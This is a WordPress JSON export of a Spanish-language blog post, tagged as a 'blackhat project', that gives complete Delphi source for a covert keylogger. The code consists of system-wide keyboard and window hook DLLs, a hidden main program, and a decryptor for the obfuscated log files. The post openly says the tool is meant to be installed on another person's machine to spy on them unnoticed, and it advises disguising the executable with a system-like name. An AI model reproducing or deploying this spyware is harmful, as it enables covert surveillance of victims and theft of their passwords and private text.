{"id":214,"date":"2026-03-03T23:18:26","date_gmt":"2026-03-03T23:18:26","guid":{"rendered":"https:\/\/hackcuba.net\/?p=214"},"modified":"2026-03-03T23:33:56","modified_gmt":"2026-03-03T23:33:56","slug":"keylogger-en-delphin-o-pascal","status":"publish","type":"post","link":"https:\/\/hackcuba.net\/?p=214","title":{"rendered":"Keylogger en Delphin o Pascal"},"content":{"rendered":"\n<pre class=\"wp-block-preformatted\">A continuaci\u00f3n se presenta el c\u00f3digo de un programa en Delphi, cuya funci\u00f3n es estar de forma oculta en el sistema y registrar todo lo que el usuario teclea y todas las ventanas que activa, abandona, destruye\u2026 <br>Lo primero que se hace es crear dos dll, para instalar a nivel de sistemas las funciones que capturen estos eventos, una dll se va a ocupar del teclado y la otra de los eventos de ventanas.<br>Abrimos Delphi y hacemos clic en nuevo proyecto, luego en Dll Wizard. Aqu\u00ed copiamos el siguiente c\u00f3digo, el cual le agradecemos a Radikal:<br><\/pre>\n\n\n\n<!--more-->\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: delphi; title: ; notranslate\" title=\"\">\nlibrary HookShell;\n{Demo de Hook de Shell a nivel de sistema, Radikal.} \nuses\n  Windows,\n  Messages;\nconst\n CM_CHIVATO = WM_USER + $1000;\n \nvar \n HookDeShell     : HHook;\n FicheroM    : THandle;\n PReceptor   : ^Integer;\n \nfunction CallBackDelHook( Code    : Integer;\n                          wParam  : WPARAM;\n                          lParam  : LPARAM\n                          )       : LRESULT; stdcall;\n \n{Esta es la funcion CallBack a la cual llamar\u00e1 el hook.}\nbegin \n if code &gt;=0 then \n begin \n  {Miramos si existe el fichero}\n  FicheroM:=OpenFileMapping(FILE_MAP_READ,False,&#039;ElReceptor&#039;);\n  {Si no existe, no enviamos nada a la aplicacion receptora}\n  if FicheroM&lt;&gt;0 then \n  begin \n    PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_READ,0,0,0);\n    PostMessage(PReceptor^,CM_CHIVATO,wParam,Code);\n    UnmapViewOfFile(PReceptor);\n    CloseHandle(FicheroM);\n  end; \n end; \n {Llamamos al siguiente hook de la cadena}\n {call to next hook of the chain}\n Result := CallNextHookEx(HookDeShell, Code, wParam, lParam)\nend; \n\nprocedure WHookOn; stdcall;\n{Procedure que instala el hook}\nbegin \n  HookDeShell:=SetWindowsHookEx(WH_SHELL, @CallBackDelHook, HInstance , 0);\nend; \n \nprocedure WHookOff;  stdcall;\nbegin \n{procedure para desinstalar el hook}\n{procedure to uninstall the hook}\n  UnhookWindowsHookEx(HookDeShell);\nend; \n \nexports \n{Exportamos las procedures...}\n{Export the procedures}\n WHookOn,\n WHookOff;\n \nbegin \nend.\n\nCompilamos\u2026 con ctrl.+f9 y ya se ha creado la primera Dll, le cambiamos el nombre a: hs.dll\n\nVolvemos a dar clic en nuevo proyecto y volvemos a elegir Dll.\nEsta ves ponemos el siguiente c\u00f3digo, que tambi\u00e9n le agradecemos a Radikal por su publicaci\u00f3n libre:\n\nlibrary HookTeclado;\n \n{\nDemo de Hook de teclado a nivel de sistema, Radikal.\nComo lo que queremos es capturar las teclas pulsadas en cualquier parte de Windows, necesitamos instalar la funcion CallBack a la que llamar\u00e1 el Hook en una DLL, que es \u00e9sta misma.\n}\n \nuses\n  Windows,\n  Messages;\n\nconst\n CM_MANDA_TECLA = WM_USER + $1000;\n \nvar \n HookDeTeclado     : HHook;\n FicheroM    : THandle;\n PReceptor   : ^Integer;\n \nfunction CallBackDelHook( Code    : Integer;\n                          wParam  : WPARAM;\n                          lParam  : LPARAM\n                          )       : LRESULT; stdcall;\n \n{Esta es la funcion CallBack a la cual llamar\u00e1 el hook.}\n\nbegin \n {Si una tecla fue pulsada o liberada}\n if code=HC_ACTION then \n begin\n  {Miramos si existe el fichero}\n  FicheroM:=OpenFileMapping(FILE_MAP_READ,False,&#039;ElReceptor&#039;);\n  {Si no existe, no enviamos nada a la aplicacion receptora}\n  if FicheroM&lt;&gt;0 then\n  begin \n    PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_READ,0,0,0);\n    PostMessage(PReceptor^,CM_MANDA_TECLA,wParam,lParam);\n    UnmapViewOfFile(PReceptor);\n    CloseHandle(FicheroM);\n  end; \n end; \n {Llamamos al siguiente hook de teclado de la cadena}\n Result := CallNextHookEx(HookDeTeclado, Code, wParam, lParam)\nend; \n \nprocedure HookOn; stdcall;\n{Procedure que instala el hook}\nbegin\n  HookDeTeclado:=SetWindowsHookEx(WH_KEYBOARD, @CallBackDelHook, HInstance , 0);\nend; \n \nprocedure HookOff;  stdcall;\nbegin \n{procedure para desinstalar el hook}\n  UnhookWindowsHookEx(HookDeTeclado);\nend; \n \nexports \n{Exportamos las procedures...}\n HookOn,\n HookOff;\nbegin \nend.\n\nCompilamos con ctrl+f9 y a la dll le ponemos como nombre ht.dll\n\nAhora vamos al programa principal, el que se encarga de usar las funciones de las dll.\nCreamos un nuevo proyecto, esta vez un proyecto Windows application.\nAl form le damos las siguientes propiedades en el inspector de objetos:\nVaciamos el Caption.\nPonemos en Color clMaroon.\nPonemos en TransparentColorValue clMaroon. \nPonemos en TransparentColor True\nInsertamos un Memo, y en su propiedad Visible le damos False;\n\nPara darle un \u00edcono transparente al form vamos al Image Editor de Delphi y le decimos  nuevo archivo del tipo .ico, cuando cree el icono lo guardamos as\u00ed mismo para que se quede en blanco. Vamos en Delphi al men\u00fa Project-Options-Application hacemos clic en el bot\u00f3n Load Icon y cargamos el icono que creamos anteriormente. Todo esto lo hacemos para que el form no sea visible y pase de la forma desapercibida posible.\n\nAhora vamos a los eventos del form: el form tiene como eventos OnCreate, OnDestroy y OnShow.\nY su c\u00f3digo es:\n\nunit Unit1;\n\ninterface\n\nuses\n  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, StrUtils;\n\nconst \n  NombreDLL       = &#039;ht.dll&#039;;\n  CM_MANDA_TECLA  = WM_USER + $1000;\n  WNombreDLL       = &#039;hs.dll&#039;;\n  WCM_CHIVATO      = WM_USER + $1000;\n\ntype\n  THookTeclado=procedure; stdcall;\n   WTHookTeclado=procedure; stdcall;\n\ntype\n  TForm1 = class(TForm)\n    Memo1: TMemo;\n    procedure FormShow(Sender: TObject);\n    procedure FormCreate(Sender: TObject);\n    procedure FormDestroy(Sender: TObject);\n    function  Encript(Contra: String): String;\n  private\n    { Private declarations }\n    FicheroM       : THandle;\n    PReceptor      : ^Integer;\n    HandleDLL      : THandle;\n    HookOn,\n    HookOff        : THookTeclado;\n\n    WFicheroM       : THandle;\n    WPReceptor      : ^Integer;\n    WHandleDLL      : THandle;\n    WHookOn,\n    WHookOff        : WTHookTeclado;\n\n    procedure LlegaDelHook(var message: TMessage); message  CM_MANDA_TECLA;\n  public\n    { Public declarations }\n  end;\n\nvar\n  Form1: TForm1;\n  Anterior: String;\n  NombreArchivo: String;\n\nimplementation\n\n{$R *.DFM}\n\nfunction Sustituir(esto,por_esto,en_esto: String): String;\n begin\n\n while Pos(esto,en_esto)&lt;&gt;0 do\n  en_esto := LeftSTr(en_esto,Pos(esto,en_esto)-1)+\n            por_esto+\n            RightStr(en_esto,Length(en_esto)-Pos(esto,en_esto));\n\n Result := en_esto;\n end;\n\nprocedure TForm1.FormCreate(Sender: TObject);\nbegin\n  {No queremos que el Memo maneje el teclado...}\n  Memo1.ReadOnly:=TRUE;\n\n  HandleDLL:=LoadLibrary( PChar(ExtractFilePath(Application.Exename)+\n                                NombreDLL ) );\n  WHandleDLL:=LoadLibrary( PChar(ExtractFilePath(Application.Exename)+\n                                WNombreDLL ) );\n\n  if HandleDLL = 0 then raise Exception.Create(&#039;No se pudo cargar la DLL&#039;);\n  if WHandleDLL = 0 then raise Exception.Create(&#039;No se pudo cargar la DLL&#039;);\n\n\n  @HookOn :=GetProcAddress(HandleDLL, &#039;HookOn&#039;);\n  @HookOff:=GetProcAddress(HandleDLL, &#039;HookOff&#039;);\n  @WHookOn :=GetProcAddress(WHandleDLL, &#039;WHookOn&#039;);\n  @WHookOff:=GetProcAddress(WHandleDLL, &#039;WHookOff&#039;);\n\n  if not assigned(HookOn) or\n     not assigned(HookOff)  then\n     raise Exception.Create(&#039;No se encontraron las funciones en la DLL&#039;);\n  if not assigned(WHookOn) or\n     not assigned(WHookOff)  then\n     raise Exception.Create(&#039;No se encontraron las funciones en la DLL&#039;);\n\n  {Creamos el fichero de memoria}\n  FicheroM:=CreateFileMapping( $FFFFFFFF,\n                              nil,\n                              PAGE_READWRITE,\n                              0,\n                              SizeOf(Integer),\n                              &#039;ElReceptor&#039;);\n  {Creamos el fichero de memoria}\n  WFicheroM:=CreateFileMapping( $FFFFFFFF,\n                              nil,\n                              PAGE_READWRITE,\n                              0,\n                              SizeOf(Integer),\n                              &#039;WElReceptor&#039;);\n\n   {Si no se cre\u00f3 el fichero, error}\n   if FicheroM=0 then\n     raise Exception.Create( &#039;Error al crear el fichero&#039;);\n   {Si no se cre\u00f3 el fichero, error}\n   if WFicheroM=0 then\n     raise Exception.Create( &#039;Error al crear el fichero&#039;);\n\n\n   {Direccionamos nuestra estructura al fichero de memoria}\n   PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_WRITE,0,0,0);\n   WPReceptor:=MapViewOfFile(WFicheroM,FILE_MAP_WRITE,0,0,0);\n\n   {Escribimos datos en el fichero de memoria}\n   PReceptor^:=Handle;\n   HookOn;\n\n   WPReceptor^:=Handle;\n   WHookOn;\n\nend;\n\nprocedure TForm1.LlegaDelHook(var message: TMessage);\n function PillaTituloVentana(Mango:integer):string;\n  var\n    Titulo : string;\n  begin\n    Titulo:=StringOfChar(&#039; &#039;,200);\n    GetWindowText( Message.WParam,\n                   PChar(Titulo),200);\n    Result:=Titulo;\n  end;\nvar\n   NombreTecla : array&#x5B;0..100] of char;\n   Accion      : string;\n   Tecla: String;\n   sTemp  : string;\nbegin\n    sTemp:=&#039;Nada&#039;;\n  case message.LParam of\n    HSHELL_TASKMAN:\n      sTemp:=&#039;&#x5B;-Activada la barra de tareas-&#039;;\n    HSHELL_WINDOWACTIVATED:\n      sTemp:= &#039;&#x5B;-Activada:  &#039;+\n              PillaTituloVentana(Message.wParam);\n    HSHELL_WINDOWCREATED:\n      sTemp:= &#039;&#x5B;-Creada:    &#039;+\n              PillaTituloVentana(Message.wParam);\n    HSHELL_WINDOWDESTROYED:\n      sTemp:= &#039;&#x5B;-Destruida: &#039;+\n              PillaTituloVentana(Message.wParam);\n  end;\n  sTemp:=Trim(sTemp);\n  if sTemp&lt;&gt;&#039;Nada&#039; then begin\n                        Memo1.Lines.Add(Encript(sTemp+&#039;-]&#039;));\n                        Anterior:=STemp;\n                        end;\n\n  \/\/\/\n  {Traducimos de Virtual key Code a TEXTO}\n    GetKeyNameText(Message.LParam,@NombreTecla,100);\n\n  {Miramos si la tecla fu\u00e9 pulsada, soltada o repetida}\n    if ((Message.lParam shr 31) and 1)=1\n      then Accion:=&#039;Soltada&#039; {Released}\n  else\n  if ((Message.lParam shr 30) and 1)=1\n      then Accion:=&#039;Repetida&#039; {repressed}\n      else Accion:=&#039;Pulsada&#039;; {pressed}\n\n  Tecla:=String(NombreTecla);\n\n  if Tecla=&#039;BARRA ESPACIADORA&#039; then Tecla:=&#039; &#039;;\n  if Length(Tecla)&gt;1 then Tecla:=&#039;&lt;&#039;+Tecla+&#039;&gt;&#039;;\n\n  if (Accion=&#039;Pulsada&#039;) and (Length(Tecla)=1) then\n      with Memo1 do\n       if Length(Anterior)&gt;1 then begin\n                                  Lines.Add(&#039;&#039;);\n                                  Text:=Text+Encript(Tecla);\n                                  end\n                             else Text:=Text+Encript(Tecla);\n\n  if (Accion=&#039;Pulsada&#039;) and (Length(Tecla)&gt;1) then\n      Memo1.Lines.Add(Encript(Tecla));\n\n  Memo1.Lines.SaveToFile(NombreArchivo);\n  Anterior:= Tecla;\n\n  {Memo1.Lines.Append( Accion+\n                      &#039; tecla: &#039;+\n                      String(NombreTecla) );}\nend;\n\nprocedure TForm1.FormDestroy(Sender: TObject);\nbegin\n {Desactivamos el Hook}\n if Assigned(HookOff) then HookOff;\n if Assigned(WHookOff) then WHookOff;\n\n {Liberamos la DLL}\n if HandleDLL&lt;&gt;0 then  FreeLibrary(HandleDLL);\n if WHandleDLL&lt;&gt;0 then  FreeLibrary(WHandleDLL);\n\n {Cerramos la vista del fichero y el fichero} \n if FicheroM&lt;&gt;0 then\n begin\n   UnmapViewOfFile(PReceptor);\n   CloseHandle(FicheroM);\n end;\n\n if WFicheroM&lt;&gt;0 then\n begin\n   UnmapViewOfFile(WPReceptor);\n   CloseHandle(WFicheroM);\n end;\n\nend;\n\nprocedure TForm1.FormShow(Sender: TObject);\n\nbegin\n\n \/\/ ocultar la aplicacion de la taskbar\n ShowWindow( Application.Handle, SW_HIDE );\n SetWindowLong( Application.Handle, GWL_EXSTYLE,\n                 GetWindowLong(Application.Handle, GWL_EXSTYLE) or\n                 WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);\n ShowWindow( Application.Handle, SW_Hide );\n\n Anterior:=&#039;&#039;;\n\n \/\/aqu\u00ed se define y elimina los caracteres no permitidos en un file\n  NombreArchivo:= DateTimeToStr(date)+\n                  &#039; &#039;+\n                  RightStr(DateTimeToStr(Time),\n                           Length(DateTimeToStr(Time))-\n                           Length(DateTimeToStr(date)));\n  NombreArchivo:=Sustituir(&#039;\/&#039;,&#039;-&#039;,NombreArchivo);\n  NombreArchivo:=Sustituir(&#039;:&#039;,&#039;-&#039;,NombreArchivo);\n  NombreArchivo:=Sustituir(&#039;.&#039;,&#039;&#039;,NombreArchivo);\n  NombreArchivo:=Sustituir(&#039;\\&#039;,&#039;-&#039;,NombreArchivo)+&#039;.lg&#039;;\n\nend;\n\nfunction TForm1.Encript(Contra: String): String; {este procesimiento encripta una determinada cadena, de forma muy sencilla}\nvar\n a,b: String;  \/\/se declaran dos variables de tipo String\n i: Integer;  \/\/se declara un contador incremental de tipo Integer\nbegin\n a:=Contra;                \/\/a va a ser la cadena a encriptar\n b:=&#039;&#039;;\n for i:=1 to Length(a) do {ciclo para iniciar la encriptaci\u00f3n paso a paso}\n\n  if 255-ord(a&#x5B;i])&lt;=15 then b:=b+chr(ord(a&#x5B;i])-15)\n                       else b:=b+chr(ord(a&#x5B;i])+15); \/\/***se describe\n\n Result:=b;            \/\/devolver la cadena encriptada\nend;\n\nend.\n\nLuego de compilar esta Unit. Creamos otro proyecto para desencriptar los ficheros .lg que cree el programa principal\u2026 porque si instalamos nuestra aplicaci\u00f3n en una m\u00e1quina ajena si por casualidad el usuario decide abrir uno de estos ficheros no se de cuenta de forma directa de que lo estamos espi\u00e1ndo.\n\nCreamos un nuevo proyecto, en la form insertamos un OpenDialog, en la propiedad filter d\u00e9le el valor *.lg, para que abra este tipo de fichero. Y programamos en el evento OnShow del Form1:\n\nprocedure TForm1.FormShow(Sender: TObject);\nvar\n   FromFile, ToFile: TextFile;\n   i: Integer;\n   a,b: String;\nbegin\n   if OpenDialog1.Execute then\n     begin\n       AssignFile(FromFile, OpenDialog1.FileName);\n       AssignFile(ToFile,OpenDialog1.FileName+&#039;.txt&#039;);\n\n       Reset(FromFile);\n       ReWrite(ToFile);\n\n       while not(eof(FromFile)) do\n        begin\n        b:=&#039;&#039;;\n        ReadLN(FromFile,a);\n        for i := 1 to Length(a) do\n         if 255-ord(a&#x5B;i])&lt;=15 then b:=b+chr(ord(a&#x5B;i])+15)\n                               else b:=b+chr(ord(a&#x5B;i])-15);\n         WriteLn(ToFile,b);\n        end;\n\n       CloseFile(FromFile);\n       CloseFile(ToFile);\n      WinExec(PChar(&#039;notepad +OpenDialog1.FileName+&#039;.txt&#039;),SW_NORMAL);\n     end;\n\n   close;\nend;\n<\/pre><\/div>\n\n\n<pre class=\"wp-block-preformatted\">Compilamos por \u00faltima vez y ya lo tenemos todo listo... para comprobar que todo haya salido bien. Ejecute el programa principal primero, al que le aconsejo que le ponga un nombre que parezca algo del sistema como msci.exe. Se debe crear un fichero con la fecha y hora como t\u00edtulo y .lg. Abra alguna ventana y teclee algo. Lugo ejecute el decriptador y indique que el fichero que desea abrir es el que se reci\u00e9n cre\u00f3, y se debe abrir un Block de Notas con el contenido del fichero desencriptado. Y ver\u00e1 como las ventanas con que trabaj\u00f3 y lo que ud. Tecle\u00f3 aparece en el fichero de texto.\n\nCualquier pregunta o sugerencia escriba a delvalle@otepr.co.cu \n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>A continuaci\u00f3n se presenta el c\u00f3digo de un programa en Delphi, cuya funci\u00f3n es estar de forma oculta<\/p>\n","protected":false},"author":2,"featured_media":216,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[59,14,18,36],"tags":[88,90,4,87,89,38],"class_list":["post-214","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-codigos","category-hacking","category-programacion","category-proyecto-blackhat","tag-codigos","tag-delphin","tag-hacking","tag-keylogger","tag-pascal","tag-proyecto-blackhat"],"_links":{"self":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/214","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=214"}],"version-history":[{"count":1,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/214\/revisions"}],"predecessor-version":[{"id":215,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/214\/revisions\/215"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/media\/216"}],"wp:attachment":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=214"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=214"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=214"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}